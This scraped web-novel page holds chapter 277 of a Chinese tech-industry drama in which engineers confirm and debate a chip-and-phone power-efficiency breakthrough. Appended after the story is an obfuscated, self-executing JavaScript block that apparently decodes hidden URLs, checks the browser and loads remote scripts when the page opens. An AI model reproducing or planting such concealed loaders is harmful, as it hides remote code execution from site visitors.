首页
第277章 天衡5功耗比国际
返回
关灯 护眼:关 字号:小

第277章 天衡5功耗比国际同级低20%

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    屏幕亮起丶系统跑通丶基础界面稳定建立,这当然已经足够让很多团队在别的项目里把它定义成一个重要节点。可飞星不是别的项目。对这台机器来说,能亮起来只是拿到继续说话的资格,真正决定它值不值得被叫做「下一代终端」的,是它亮起来之后,整套系统会不会以一种超出预期的方式继续成立。
    而此刻,顾楠盯住的那条功耗曲线,正在把所有人刚刚放松下来的神经重新一根根绷紧。
    「交叉采样再跑一轮。」章宸没有立刻下判断,只把声音压得很稳,「换独立采样链,别用同一套监测基准。」
    GOOGLE搜索TWKAN
    工程师立刻切换。
    主控区右侧那组备用测量模块被接入,功耗丶温升丶瞬态波动和负载响应开始走第二套独立路径。赵静同步把小芯工业模型的实时判断窗口缩到最小,只保留异常关联提醒,避免任何自动结论先一步干扰工程判断。
    林薇站在联调台前,目光没有离开那条曲线。
    她比所有人都清楚,这时候最忌讳的不是惊喜,而是误判。飞星刚刚跨过「整机活性成立」这道门,任何看上去过于漂亮的数据,都必须先当成风险看。因为很多工程事故最早的表情,并不是恶化,而是「好得不真实」。
    十几秒后,第二组采样结果出来。
    数值没有翻转。
    反而更乾净。
    顾楠眼神微微一沉,没有马上说话,只是把两组结果并排拉开,又接入了第三组来自供电侧板级测量的辅助数据。
    这一次,连赵静都下意识往前走了半步。
    三组线,几乎咬在一起。
    差值存在,但只在正常测量误差范围内轻微摆动。没有任何一组数据显示这是一条「采错了」的假曲线。更麻烦的是,这条线不仅低,而且低得很稳定,稳定到不像一个刚刚完成重构丶理论上还应该处于谨慎生存状态的新整机。
    「不是假信号。」顾楠终于开口。
    章宸没有接话,而是把国际同级平台的参考窗口调到最前。那是一组内部长期维护的对照区间,涵盖了几家国际高端平台在相近工况下的典型功耗表现,不对外,不宣传,只作为未来科技内部底层判断的基准。
    屏幕上,飞星当前整机状态下的功耗线被缓缓覆盖到那组对照区间之上。
    联调区里,一瞬间安静得近乎发硬。
    因为差距已经清楚到不需要任何修辞。
    不是低一点,也不是某个点偶然压得好。
    而是在核心启动完成后的持续稳定运行区间里,天衡5所在的这套整机—晶片联合功耗,明显压到了国际同级平台之下。
    顾楠先说了一句最保守的话:「先不下结论,换负载模型。」
    「换。」章宸点头。
    新的测试立刻开始。
    基础界面停留工况,过。
    多任务切换模拟,过。
    本地AI轻量推理调用,过。
    显示与主控协同负载抬升,过。
    接口并发训练后持续运行,过。
    每过一轮,那条线都没有被拉回「合理惊喜」的区间,反而始终停在一个让人越来越无法忽视的位置上。
    林薇终于开口:「不是偶然,是架构结果。」
    这句话一出来,联调区里所有人的注意力都像被一下拉到了更深的地方。
    如果这不是偶然,那它就意味着,飞星这次整机重构带来的,不只是「系统活了」,而是整机组织方式本身,正在反向释放晶片与系统原本没被看见的效率红利。
    章宸盯着那条曲线,眼神慢慢沉下去。
    他脑子里已经开始自动往回倒带。
    天权5底层调参被改成「为真实系统活性负责」之后,很多边界不再追求实验室里最漂亮的局部指标,而开始给真实波动留缓冲。按直觉,这种做法未必会让功耗表现更惊艳,甚至可能因为释放窗口变宽丶系统容错增加,而在某些局部损失一点纸面漂亮。
    可现在数据恰好反过来。
    它不只没变差,反而比国际同级压得更低。
    这说明他们之前一直默认的一件事,可能要被重新解释了——整机组织方式如果足够合理,真实世界里的「活性」并不一定和能效矛盾,反而可能因为减少了错误竞争丶无效争抢和多馀抖动,让系统整体更省丶更顺。
    「把死窗口那组旧数据也叠上来。」陈醒忽然开口。
    顾楠立刻照做。
    屏幕上,第一次整机上电失败前的那套旧组织方式数据被调了出来。虽然它没完整跑完,但局部区间里的功耗波动丶二次抬升丶无效竞争和边界拖拽痕迹仍旧很清楚。
    新旧两组曲线并排摆在一起,差异瞬间被放大。
    旧图像一团彼此争抢空气的乱流。
    新图则像一条终于找到自己节奏的河。
    赵静看着屏幕,忽然低声说了一句:「不是天衡5单独更省了,是飞星终于不再让系统互相打架了。」
    没人立刻回应。
    但所有人都听懂了。
    过去他们总习惯把功耗看成晶片架构丶电源管理丶工艺水平或者软体调度的结果。可飞星现在给出的这条线,正在说明另一件更少被真正做出来的事:整机层面的组织秩序,本身就是能效的一部分。
    模块不抢,路径不挤,启动不在同一死亡窗口里同时夺命,热丶供电丶显示丶主控丶接口都不再用各自的局部最优去互相碾压,系统自然就会少很多看不见的浪费。
    顾行第一个反应过来:「边界回流也在帮忙。」
    众人看向他。
    顾行抬手把射频与边界监测窗口拉到旁边:「旧方案里,隐性分区虽然局部能成立,但整机层面一直在和显示边界丶局部回流丶热起始区抢位置。现在边界语言退了一步,回流路径乾净了,很多原来需要靠额外补偿压住的东西自然就不必再耗那部分电。」
    梁志远也接上:「热起始区缓冲带成立之后,局部堆热没那麽早顶到主路径,热管理不需要抢先介入,功耗自然也少了一层无效对抗。」
    「装配中间态也不是白重写的。」张京京盯着自己那组数据,声音里有种压着的激动,「新路径把很多本来靠后期补偿才能拉平的微偏直接在建立阶段处理掉了,整机一上电,内部物理关系更顺,系统就不用花额外代价去对抗那些『看不见的不正』。」
    这一圈话说下来,联调区里慢慢出现了一种非常奇异的沉默。
    那不是单纯的高兴。
    而是一种更复杂的震动——他们正在意识到,飞星和天衡5联合交出来的这条低功耗曲线,可能不是某个局部团队的漂亮成绩,而是「设计驱动制造」「整机生命体重构」「真实可活边界」这几条线第一次在一个可量化指标上同时显影。
    陈醒没有立刻说「好」。
    他只是看着那组新旧对照图,问了一句:「对标口径保守算,低多少?」
    顾楠没有马上回答,而是把参考工况重新切了一遍,剔除掉最有利于飞星丶但可能被外界质疑「挑场景」的几组结果,又把国际对照区间里最保守的上边界拉过来。
    几分钟后,他才开口。
    「如果只按最稳妥的持续运行核心区间算,」他顿了一下,声音还是发紧,「比国际同级低二十个百分点左右。」
    这一次,联调区里连空气都像停了一拍。
    二十个百分点。
    不是营销部会写在宣传稿里的修辞数字,而是在最保守口径下都压不回去的真实差距。
    章宸缓缓闭了一下眼,又睁开。
    他知道这意味着什麽。
    如果只是点亮成功,飞星仍然可以被理解成未来科技在高端旗舰上的一次危险但成功的极限尝试;可如果天衡5在真实整机环境下,功耗比国际同级低二十个百分点,那事情的性质就变了。
    这不再只是「做出一台像样的新机」。
    而是在终端底层效率丶整机组织方式和算力调度哲学上,真正推开了一条可能重写高端旗舰竞争逻辑的新路。
    林薇也终于转过头,看向章宸:「你怎麽看?」
    章宸沉默几秒,才低声说:「晶片本身有贡献,但如果没有整机重构,这个结果出不来。以前我们总把终端功耗拆开算,晶片是晶片,系统是系统,结构是结构,热是热。现在看,错了。」
    「终端功耗不是谁单独省出来的,是谁先让系统停止内耗,谁就先把效率放出来。」
    赵静听到这里,目光微微一亮。
    这句话和她最近一段时间对小芯工业模型的理解突然撞到了一起。过去大家让AI进位造丶进中间态丶进冲突分析,更多是因为问题太复杂,人脑来不及。但现在,她忽然看见更深的一层——AI之所以重要,不只是因为它能看更多数据,而是因为它天生适合发现「内耗型系统」里那些人类分科管理难以直观看见的重复竞争和无效争抢。
    如果飞星这条路走通,未来科技要定义的也许根本不只是某一代旗舰终端,而是一整套「让复杂系统停止自我浪费」的方法。
    周明一直站在外侧,没有参与技术争论。
    可听到「低二十个百分点」这句话时,他的眼神还是立刻变了。
    他想到的不是性能,不是发布会,也不是内部士气,而是风险。
    这种级别的数据,一旦被外界提前闻到味道,后果绝不会只是媒体惊叹两句。资本会重新估值,产业链会异常跟踪,政策观察机构会更加确信未来科技正在摸到一种新的体系能力,而火龙联盟那边,更不会放过任何能把未来科技提前锁进「体系性威胁」叙事的机会。
    他直接开口:「这个结果先不要扩。」
    所有人都看向他。
    周明的语气冷得很稳:「点亮成功可以定义为内部里程碑,功耗领先不行。至少现在不行。这个口子一旦走漏,就不再是飞星保密那麽简单,而是会被外部拿来拼出天衡5丶整机组织方式和统一算力架构之间的更深关系。」
    陈醒点了点头:「继续压。」
    这两个字一落,联调区里的兴奋立刻被重新压回硬仗逻辑。
    没人觉得扫兴。
    因为他们都知道,现在这条线真正可怕的地方,不在于它够不够好,而在于它好得已经足以改变外界对未来科技「到底在推进什麽」的判断。
    林薇看着那组数据,没有让情绪外露,只说道:「先别急着把它当结论。重测,扩场景,拉长时间窗。我要知道这二十个百分点到底是稳定的,还是只在当前版本和当前生存链上成立。」
    「明白。」顾楠立刻应下。
    章宸也接过去:「晶片组回实验楼,今天开始做长时间运行与多温区对照。别急着庆祝,先看是不是整机重构后释放出来的系统性红利,而不是版本窗口碰巧踩中。」
    「整机组也不解散。」林薇继续下令,「显示丶主控丶热丶边界丶接口四条线继续跟跑,不允许因为点亮成功和功耗好看就往表达链上抢。」
    这话一出,张伟丶顾行几人都沉了沉神色,随即点头。
    他们知道,林薇是在强行防止团队被「几乎成功」的快感带回旧逻辑。飞星现在最危险的,不是还不够强,而是太容易让人产生「已经够好了,可以开始重新抢表达」的冲动。
    可真正的整机生命体,不该靠情绪判断成熟度。
    中午之前,飞星联调区的气氛已经从「第二次点亮成功」的紧绷,变成了另一种更深的高压推进。
    功耗重测开始扩大场景。
    终端系统组加挂了更多本地AI轻推理与后台协同任务。
    显示组开始拉更复杂的刷新与亮度变化模型。
    接口组加入外设协同训练窗口。
    热设计组同步跟跑更长时窗热堆积曲线。
    主板与供电团队则开始盯住每一次细小波动,判断它们究竟是「系统正常呼吸」,还是未来仍可能在极端场景里露头的隐患。
    赵静没有离开联调区,而是把小芯的角色又往前提了一层。
    她要求模型不只标异常,还要标「低于预期的异常稳定区」。
    这条命令刚出来时,旁边有个工程师愣了一下,随即立刻明白过来。
    因为飞星现在最值得警惕的,已经不是哪块坏,而是哪块好得超出预估。任何异常优秀,都必须先被当成一个需要解释清楚的系统现象,而不是直接拿来欢呼的战果。
    下午两点,第一轮扩场景结果初步回收。
    数据没有崩。
    不只是没崩,还越跑越让人不敢轻易说话。
    在更复杂的多任务切换和本地模型协同调用下,天衡5的整机功耗优势非但没有被吃掉,反而在某些负载区间里进一步放大了。
    顾楠盯着数据,喉结动了动:「不是低二十上下飘,是稳定在这附近。」
    「原因分解呢?」陈醒问。
    章宸这次没有像上午那样谨慎地只谈现象,而是给出了一版更接近本质的判断。
    「不是单一来源。」他说,「至少有四层叠加。」
    他拿起笔,在白板上写下四行字。
    第一,天衡5底层调参与释放窗口修正,减少了无效重试与错误竞争。
    第二,整机生存链重排后,显示丶主控丶接口丶供电不再踩同一死亡窗口,系统级内耗明显下降。
    第三,主板主路径丶热起始区和边界回流重新组织,减少了很多原本要靠补偿丶屏蔽和提前介入去硬压的损耗。
    第四,调度逻辑第一次真正按『真实整机』而不是『模块理想值』工作,晶片效率被整机组织方式放大。
    写到这里,他停了一下。
    「换句话说,这不是天衡5单晶片对国际同级低二十。是天衡5第一次在属于自己的整机里,把本来就该有的效率放出来了。」
    这句话说得很平,却比任何振奋人心的表达都更重。
    因为它直接把未来科技正在打的几条主线全钉在了一起——晶片丶系统丶整机丶制造丶边界丶方法论,从来就不是几条并行线,而是在共同争夺一个问题:谁能让复杂系统先学会停止浪费,再开始真正高效。
    李明哲是在下午三点接到周明加密转述的。
    他没进联调区,也没看原始图,只拿到了一版极度压缩后的性质判断。可即便如此,他看完后还是沉默了很久。
    他想到的不是具体数字,而是全球认知战的下一层。
    如果海外媒体此前已经在试图把未来科技理解成「高复杂系统组织能力」的新样本,那麽这种级别的终端能效结果,一旦显影,就会进一步坐实一种他们最不愿意让世界承认的叙事:华夏高端创新,不只是能追上,还可能在某些最底层丶最难被短期复制的组织方式上反超。
    这比单个产品领先危险得多。
    因为产品可以围堵,方法一旦被证明,就会长。
    他把终端放下,第一反应不是建议外放,而是给周明回了一句话:
    外部叙事继续往「创新链条整体升级」上拉,绝不提前落到单一终端效率突破。
    周明只回了一个字:
    好。
    傍晚时分,中央研究院顶层又开了一次极小范围碰头会。
    参加的人不多。
    陈醒丶林薇丶章宸丶赵静丶周明丶李明哲,再加上苏黛和顾行。投影幕上没有放完整数据,只有几张被压缩到足够保密的趋势图和性质判断。
    陈醒看完,没有立刻说结论,而是问了最关键的一句:「这二十个百分点,对飞星意味着什麽?」
    章宸先答:「意味着天衡5和新整机组织方式之间,不是适配关系,而是相互释放关系。以前大家总觉得晶片够强,整机别拖后腿就行。现在看不够,整机如果组织得对,它会反过来把晶片真正的效率拉出来。」
    赵静接着说:「对统一算力架构也一样。我们以前总说手机丶车丶云最后要归到一张图里,可很多时候那更像战略语言。现在飞星这边第一次给出一个可落地的解释——系统不是功能堆叠,而是内耗治理。谁先把跨模块丶跨终端丶跨层级的无效竞争干掉,谁就能把算力真正变成可用效率。」
    顾行补了一刀:「对终端表达也不是坏事。过去一直觉得让表达就会牺牲先进感,可现在恰恰是表达先退了一步,系统才把先进感以更硬的形式还了回来。」
    苏黛则从更现实的方向切入:「如果这个优势最终坐实,那飞星后面很多配置选择都可以重算。功耗更低,意味着热空间丶续航预算丶模块容纳丶天线策略丶边界处理都会有新馀地。」
    这句话刚说完,会议桌边几个人的目光同时轻轻一动。
    因为他们几乎都在同一瞬间意识到了一件事。
    功耗预算被放出来,就意味着飞星这台机器原本被卡得死死的一些「想都别想」的模块,现在可能开始有了进场机会。
    林薇最先察觉到这种微妙变化,抬头看了陈醒一眼。
    陈醒没有接这句话,只是把目光落回屏幕上那条仍然安静丶漂亮,却被所有人当作高风险资产看待的功耗线。
    他脑子里已经开始往更远的地方推。
    AI时代旗舰终端。
    统一算力架构。
    硬体级隐私计算。
    跨端协同。
    极限工业设计。
    而现在,天衡5和新整机组织方式又意外释放出一块异常宝贵的能源与热预算。
    这意味着飞星不再只是「终于能活」,而是第一次有资格问:既然它有了超出预估的活性和效率,那它还该不该继续只做一台高端旗舰手机?
    会议室里安静了几秒。
    陈醒忽然问苏黛:「供应链那边,最近有没有什麽还没彻底关掉丶但一直被我们搁着的模块线?」
    苏黛没有马上答,而是迅速在脑子里过了一遍飞星过去几轮被压掉丶冻结或者暂缓的硬体方案。
    几秒后,她目光微微一变。
    「有一条。」她说。
    所有人都看向她。
    「早期概念阶段,终端战略组和应急通信组一起提过一次。」苏黛语速很稳,「后来因为功耗丶热丶空间和整机复杂度压力太大,被放进了『当前版本不进入』名单。」
    赵静也像突然想起了什麽,眼神微亮,却没先说破。
    林薇看着她们两个,声音很低:「你们想到的是同一个东西?」
    苏黛点头。
    赵静也点头。
    陈醒没有追问,只看着她们,等那句话自己落下来。
    会议室安静了半秒。
    最后,是苏黛开口:
    「卫星通信模块。」
    这五个字一出来,桌边几个人的呼吸都轻了一下。
    顾行下意识皱眉,第一反应就是复杂度;章宸想到的是功耗与射频协同;林薇想到的则更直接——空间丶边界丶整机表达丶系统排序,全都要重新受压。
    可也正因此,这个词一旦在此时被重新提起,就显出一种近乎危险的诱惑力。
    因为飞星如果真能把它装进去,那它定义的就不再只是「更强的AI时代旗舰」,而是某种在极端条件下也拥有独立连接能力的新一代终端范式。
    陈醒没有立刻表态。
    他只是看着桌上那份功耗趋势图,手指轻轻点了一下桌面。
    很轻的一声,却让在场所有人都知道,他已经开始认真了。
    而这通常意味着,一条原本被判定为「当前不进入」的危险路线,可能会重新被拖回战场中央。
    会议结束时,夜色已经落下。
    走廊外,试制楼仍然灯火通明,飞星的各条线还在继续围着那条低了二十个百分点的功耗曲线做更长时窗验证。
    没有人知道,这个结果最终会被定义成「偶然释放出来的惊喜」,还是「未来科技真正摸到的一条新路径」。
    但有一点已经开始变得清楚。
    飞星的第二次点亮成功,并没有让这场仗变简单。
    它只是让更多原本不敢同时追求的目标,重新有了被摆上桌面的资格。
    而当这些目标重新出现时,新的难题也会随之而来。
    总控区最深处,一块暂时未公开的白板上,已经被人用很轻的笔迹写下了一行新字:
    额外功耗预算可否换取极端场景连接能力?
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();